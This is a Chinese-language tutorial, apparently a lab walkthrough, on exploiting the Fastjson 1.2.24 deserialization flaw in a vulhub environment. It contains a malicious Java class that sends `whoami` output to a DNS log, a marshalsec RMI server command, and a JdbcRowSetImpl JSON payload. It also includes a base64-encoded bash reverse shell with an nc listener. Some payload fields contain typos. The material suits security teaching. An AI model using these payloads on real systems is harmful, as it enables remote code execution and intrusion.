0x01 Fsatjson概述
Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。Fastjson是一个流行的库,可以将数据在json和java object之间相互转换,fastison在序列化和反序列化过程中没有使用Java自带的序列化机制,而是自定义了另一套机制。其实,对于JSON框架来说想要把一个Java对象转换成字符串,有两种方式:
1.基于属性 2.基于 setter/getter
0x02 RMI
提供 RMI 包。RMI 指的是远程方法调用 (Remote Method Invocation)。它是一种机制,能够让在某个 Java虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法。可以用此方法调用的任何对象必须实现该远程接口。调用这样一个对象时,其参数为 "marshalled" 并将其从本地虚拟机发送到远程虚拟机(该远程虚拟机的参数为 "unmarshalled")上。该方法终止时,将编组来自远程机的结果并将结果发送到调用方的虚拟机。如果方法调用导致抛出异常,则该异常将指示给调用方。
简明的说rmi是一种机制,作用就是远程方法的调用,远程方法调用其实就是一个机器可以执行另一个机器的指令 注意:不会回显,所以想要证实是否存在有fastjson漏洞,可以借助第三方dnslog平台
0x03 历史漏洞
Fastjson <=1.2.24 反序列化远程命令执行漏洞 Fastjson <=1.2.41 反序列化远程命令执行漏洞 Fastjson <=1.2.42 反序列化远程命令执行漏洞 Fastjson <=1.2.43 反序列化远程命令执行漏洞 Fastjson <=1.2.45 反序列化远程命令执行漏洞 Fastjson <=1.2.47 反序列化远程命令执行漏洞 Fastjson <=1.2.62 反序列化远程命令执行漏洞 Fastjson <=1.2.66 反序列化远程命令执行漏洞
Fastjson反序列化漏洞
1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的setter/getter方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
0x04 环境搭建
系统:Kali-linux靶场:vulhub安装maven:apt安装:
sudo apt install maven
源码安装:
1.wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz 2.mkdir /opt/maven 3.tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/ 4.vim /etc/profile 5.export MAVEN_HOME=/opt/maven/apache-maven-3.6.3 export PATH=$MAVEN_HOME/bin:$PATH (在profile文件最下方添加) 6.source /etc/profile (使其生效) 7.mvn -version (验证是否成功
安装marshalsec:
1.git clone https://github.com/mbechler/marshalsec.git 2.cd marshalsec/ 3.mvn clean package -DskipTests(编译工具) 4.cd target/ 5.java-cp marshalsec-0.0.3-SNAPSHOT-all.jar 6.marshalsecjndiRMIRefServer"http://(启动python服务的ip):(启动python服务的端口)/#dnslog"999
靶场启动:
1.cd vulhub 2.cd fastjson 3.cd 1.2.24-rce 4.docker-compose up -d
0x05 Fastjson判断方式
在vulhub起一个靶场环境,以1.2.24为例访问ip:8090如回显以下页面,则搭建成功
使用burpsuite抓包,放到重发器判断Fastjson两种方式:将GET请求方式更改为POST请求,并随便输入一个json格式数据,send数据包使其报错,看回显
注意:在version<=1.2.24时,报错回显是没有fastjson特征的报错 com.alibaba.fastjson.JSON 特征version<1.2.24同样的判断方式,抓包看报错回显,会有com.alibaba.fastjson.JSON 特征
漏洞利用开启vulhub对应靶场服务安装marshalsec工具Java本地写恶意类,比如:
import java.lang.Runtime; import java.lang.Process; public class fastjson{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/sh", "ping user.`whoami`.dnslog平台生成的网址"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
javac进行编译,生成class文件本地使用python开启http服务,
Python3 -m http.server
为了使后面利用rmi机制去让靶场服务器访问我们生成的恶意class文件,并自动下载到靶场服务器本地浏览器访问验证是否开启成功
使用marshalsec工具进行开启一个rmi服务payload:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://python开启的http服务IP:PORT/#恶意class文件类名
自定义rmi端口漏洞页面进行抓包
数据包改为POSTPOC
POST / HTTP/1.1 Host: IP:PORT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 { "b":{ "@type":"com.sun.rowset.JdbcRowSetlmpl", "dataSourceName":"rmi://开启rmi服务的ip:prot/恶意类名", "autoCommit":ture } }
Send 发包后会报错,但是在刚才恶意类中,写入了第三方dnslog平台生成的url,因此,会有请求记录,只需验证是否记录存在即可证实漏洞存在
如果想要反弹shell,则需要修改恶意类中代码为
import java.lang.Runtime; import java.lang.Process; public class fastjson{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=}|{base64,-d}|{bash,-i}"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE= 为base64编码的IP和PORT } } }
然后NC进行监听端口 nc -lvvp PORT漏洞页面抓包,按步骤更改数据,NC回弹shell